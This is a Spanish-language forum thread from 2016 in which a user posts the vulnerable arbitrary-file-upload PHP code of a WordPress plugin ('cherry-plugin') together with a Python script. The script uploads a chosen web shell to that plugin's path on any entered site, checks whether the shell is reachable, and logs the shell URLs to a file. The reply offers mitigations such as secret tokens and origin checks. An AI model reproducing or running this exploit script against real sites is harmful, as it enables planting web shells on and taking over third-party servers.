Acceder Registrarme

¿como puedo identificar los parametros/variables/names de un uploader?


Por: Alexander Dresdner Publicado el: 2016-10-29 12:50:25 Pregunta abierta

Que tal amigos, mirad... tengo un archivo vulnerable a la subida de archivos mediante Post, obviamente. Estoy escribiendo un pequeño script que automatice la subida de archivos, sin embargo no puedo identificar los parametros de subida:

El path del uploader.php seria así

http://site.com/wp-content/plugins/cherry-plugin/admin/import-export/upload.php

Codigo vulnerable (arbitrary file upload)

<?php
if(strtolower($_SERVER['REQUEST_METHOD']) != 'post'){
exit_status('Error! Wrong HTTP method!');
}
if(array_key_exists('file',$_FILES)){
$upload_dir = isset($_REQUEST['upload_dir']) ? $_REQUEST['upload_dir'] : $upload_dir ;
$file_name =basename($_FILES['file']['name']);
$upload_file = $upload_dir.$file_name;
$result = move_uploaded_file($_FILES['file']['tmp_name'], $upload_file);
}
exit;
?>

Tambien tengo el siguiente script en Python, el cual hace la subida del archivo a elegir.

#!/usr/bin/python
import requests
import re
url = raw_input("Site : ")
filname = raw_input("Shell : ")
dirx = '/wp-content/plugins/cherry-plugin/admin/import-export/upload.php'
urled = url + dirx
files={'file':(filname, open(filname,'rb'),'multipart/form-data')}
r = requests.post(urled, files=files)
bb = filname
shelldir = '/wp-content/plugins/cherry-plugin/admin/import-export/'+bb
shelled = url + shelldir
response = requests.head(shelled)
if response.status_code == 200:
    print shelled
    print "Saved at .txt"
    myFile = open("shell.txt", "w")
    myFile.write(shelled)
    myFile.close()
else:
    print "Not vulnerable"

Anexare una foto del codigo en Perl :)

Muchas gracias ! 




PHP Programación

Kevin Arnold Arias Figueroa Marcado como mejor respuesta
por el autor de la pregunta
Usuario de (Perú)

Bueno Alexander... luego de tratarlo un poco en el chat de esta pregunta... creo que entiendo mejor a qué te refieres. Aquí te vaun poco de mi punto de vista para una posible solución.

Como te comentaba en el chat, el problema es que no se controla de donde llegue la petición... sólo deja que se suba el archivo y nada más; entonces, qué hacemos para prevenir esto.

Posibles soluciones.

  1. Podrías manejar un key de ecriptación desde tu mismo sistema y que cuando se suba el archivo este envíe esa cadean encriptada desde alguna parte del formulario que envía dicha petición y verificar si la encriptación maneja los parámetros adecuados de tu sistema, cosa que así no podrán enviar otras peticiones desde lugares agenos a tu panel de administración y si lo hacen, simplemente se bloqueará porque no sabrán crear esa cadena encriptada porque el "Key de encriptación" deberá estar entre tus archivos internos de PHP sobre Wordpress por lo que no podrán ver aquello.
  2. Leer la fuente de la petición, es decir... puedes leer el request de la petición y sabes de donde está siendo enviada dicha petición con lo que podrías obtener el dominio "La url base" de donde viene dicha petición y si es diferente al dominio de tu aplicación web, simplemente que no lo deje pasar... eso con una simple condición... así como se verifica si la petición viene vía post, tendrías que verificar si la petición viene desde el dominio de tu aplicación web y en caso no lo fuera, simplemente no preceder con el flujo.
  3. Enviar un key cifrado desde el formulario del envío de la petición, sería algo muy parecido al primer caso, pero menos seguro.

Yo te recomiendo considerar el primer y segundo caso a la vez siendo que el segundo ya te daría bastante cabida a controlar que todas las peticiones sólo entren desde tu propia aplicación, al menos para esa subida de archivos y si lo combinas con el segundo, aún mejor, siendo que esto no sería tan necesario, pero tampoco estaría de más hacerlo.

Bueno Alexander, espero que con esto te de una idea de como podrías restringir el caso que se te presenta.

Saludos.

  • 2016-10-29 14:50:34
  • Me gusta(1)
Usuario de (Perú)

Hola Alexander... lo primero, sería bueno que edites tu pregunta y el código de PHP lo pongas mediante la herramienta para integrar código del editor.. segundo... no entiendo muy bien a que te refieres con uploader vulnerable... podrías detallar un poco tu pregunta?.

Saludos.

  • 2016-10-29 13:58:05
  • Me gusta(1)

  • Debes estar logueado para realizar comentarios